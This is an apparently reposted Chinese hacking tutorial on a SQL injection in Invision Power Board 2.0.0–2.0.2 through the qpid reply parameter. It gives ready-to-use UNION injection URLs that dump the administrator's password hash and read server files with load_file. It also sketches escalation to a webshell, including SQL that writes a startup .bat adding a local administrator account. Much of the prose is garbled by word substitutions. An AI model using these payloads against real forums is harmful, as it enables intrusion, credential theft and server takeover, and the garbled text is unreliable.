设为主页 | 加入收藏 | 繁體中文

IPB漏洞再现江湖

  文/图:softbug
  任何论坛都不是绝对宁静的,前些日子不也是在传播动网7.0sp2的毛病吗?PHP的论坛也不闲着,本日我们就来看看一款PHP论坛的ipb的毛病。申明一下:该毛病是外洋的宁静组织RusH security team首先发明的。
  该毛病的描述见下:
  由于IpB在复兴发贴的时候qpid参数过滤不周,导致UNION语句的执行。乐成执行的结果可以执行SQL语句。至多我们可以得到办理员的密码HASH,从而诱骗进入后台。收该毛病影响的版本为:Ipb2.0.0 - 2.0.2。直接根据RusH security team的操作来做。结果失败。没措施,只好把源文件抓出来阐发。
  一. 毛病的阐发
  下载一个IPB2.0的版本来看看,找到源文件有题目的地方,注意一下,统统都在magic_quote=on的条件下举行的:
  代码
  if ( ! $ibforums->input['qpid'] )
  {
  $ibforums->input['qpid'] = preg_replace( "/[^,\d]/", "", trim($std->my_getcookie('mqtids')) );
  if ($ibforums->input['qpid'] == ",")
  {
  $ibforums->input['qpid'] = "";
  }
  }
  else
  {
  //-----------------------------------------
  // Came from reply button
  //-----------------------------------------
  $ibforums->input['parent_id'] = $ibforums->input['qpid'];
  }
  if ( $ibforums->input['qpid'] )
  {
  $std->my_setcookie('mqtids', ',', 0);
  $this->quoted_pids = preg_split( '/,/', $ibforums->input['qpid'], -1, PREG_SPLIT_NO_EMPTY );
  //-----------------------------------------
  // Do we have right and snapback in BBCode?
  //-----------------------------------------
  if ( is_array( $ibforums->cache['bbcode'] ) and
  ......(以下省略几行)
  if ( count($this->quoted_pids) )
  {
  $DB->cache_add_query( 'post_get_quoted', array( 'quoted_pids' => $this->quoted_pids ) );
  $DB->cache_exec_query();
  .......
  程序首先把传入的qpid作正则替换,要求qpid的情势为:xx,xx,xx这样的数字支解情势。如果正则替换后的qpid为空,那么程序就把pqid设置为空。得到不为空的qpid后,程序把它分开成数组(逗号分开的);最后检查quoted_pids数组的个数如果不为灵的话就执行关键的MYSQL盘问。为了得到这个盘问地点,我们在程序中设置断点,结果在程序页面内里得到了这样的MySQL盘问语句:
  select p.*,t.forum_id FROM ibf_posts p LEFT JOIN ibf_topics t ON (t.tid=p.topic_id) WHERE pid IN (23,12)SELECT p.*, m.mgroup FROM ibf_posts p LEFT JOIN ibf_members m ON (m.id=p.author_id) WHERE topic_id=2 and queued <> 1 ORDER BY pid DESC LIMIT 0,10
  看到pid in (23,12)这个数值了吗?实在"23,12"这个东西就是从qpid这个值内里传出来的。Ok,现在我们可以用一句话UNION得到办理员的密码。我象结构 Union语句我就不用多表明了。我是这样结构的:
  http://xx.xx.xx.xx/ipb2/index.php?s=432db2970909962429a6b2124109048c&act=POST&CODE=02&f=2&t=1&qpid=66666)%20union%20select%201,1,1,1,1,1,1,1,1,1,CONCAT(id,char(58),name,char(58),member_login_key),1,1,1,1,1,1,1,1,1%20from%20ibf_members%20where%20id=1%20/*
  呵呵,结果我们乐成的在网页内里读到了用户ID=1的密码HASH。当然了,MYSQL语句是你本身的,你想怎样玩就怎样玩。看看咋们的结果吧:
  看到了吧,root的hash值:e12241b318807c66c37134c35f882ad6.。
  CONCAT(id,char(58),name,char(58),member_login_key)这个就是UNION的暴出语句。快去尝尝吧。
  二. 更进一步的发掘毛病
  毛病既然可以让我们结构UNION语句,那么为什么我们不可以直接使用loadfile 得到文件内容呢。Loadfile需要支持绝对路径,只需我们有措施得到网站的绝对路径,那么直接拿\ips_kernel\ class_db_mysql.php的东西不是题目吧。我在当地的文件路径是:C:\AppServ\www\ipb2\ 现在我们就来提取该目次下面的admin.php文件。当然了,这个路径我们要编码一下。见下图:
  呵呵,替换下面的字符,我们得到:
  http://xx.xx.xx.xx/ipb2/index.php?s=432db2970909962429a6b2124109048c&act=POST&CODE=02&f=2&t=1&qpid=66666)%20union%20select%201,1,1,1,1,1,1,1,1,1,load_file(char(67,58,92,65,112,112,83,101,114,118,92,119,119,119,92,105,112,98,50,92,97,100,109,105,110,46,112,104,112)),1,1,1,1,1,1,1,1,1%20from%20ibf_members%20where%20id=1%20/*
  哈哈,很顺遂的就得到了admin的源代码了:
  请你不要问我,怎样得到程序的绝对路径好吗。这个是你看这个文章的底子,也是促使你不停学习的地方。保存一招好了。:-)。
  三. 假定的打击
  假定下面的东西你都市了。那么你需要怎样样的进一步生长得到webshell呢?
  1. 得到数据库的密码,从数据库导出一个wenshell
  2. 得到admin的密码hash,直接用办理员登陆,上传木马
  3. 用mysql直接往服务器的"C:\Documents and Settings\"目次写启动文件(限windows):
  INSERT INTO shell ( shell ) VALUES ('net localgrorp administrators softbug /add
  ');
  SELECT * FROM shell into outfile 'C:\Documents and Settings\Administrator\ 「开端」菜单 \程序\启动\ccc.bat';
  SELECT * FROM shell into outfile 'C:\Documents and Settings\All Users\ 「开端」菜单 \程序\启动\ccc.bat';
  SELECT * FROM shell into outfile 'C:\Documents and Settings\Administrator \ 「开端」菜单 \程序\启动\ccc.bat';
  剩下的就等办理员启动盘算机吧。
  4.Cookies诱骗,这个可能简单点.
  四. 跋文
  实在PHP注入不是你想象中的那么复杂,人人只需稍微学习了都市。这里我想说一下,我在调式这个程序的时候使用了php5.01的版本,可能版本太新,导致程序没措施安装,我的解决措施见下:
  打开windows目次下面的设置装备摆设php.ini
  找到extension_dir = "./" 改为 extension_dir = "c:/php/ext"
  c:/php是你的PHp安装目次。找到;extension=php_mysql.dll 将';'去掉。
  重新启动Apache就ok了。
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: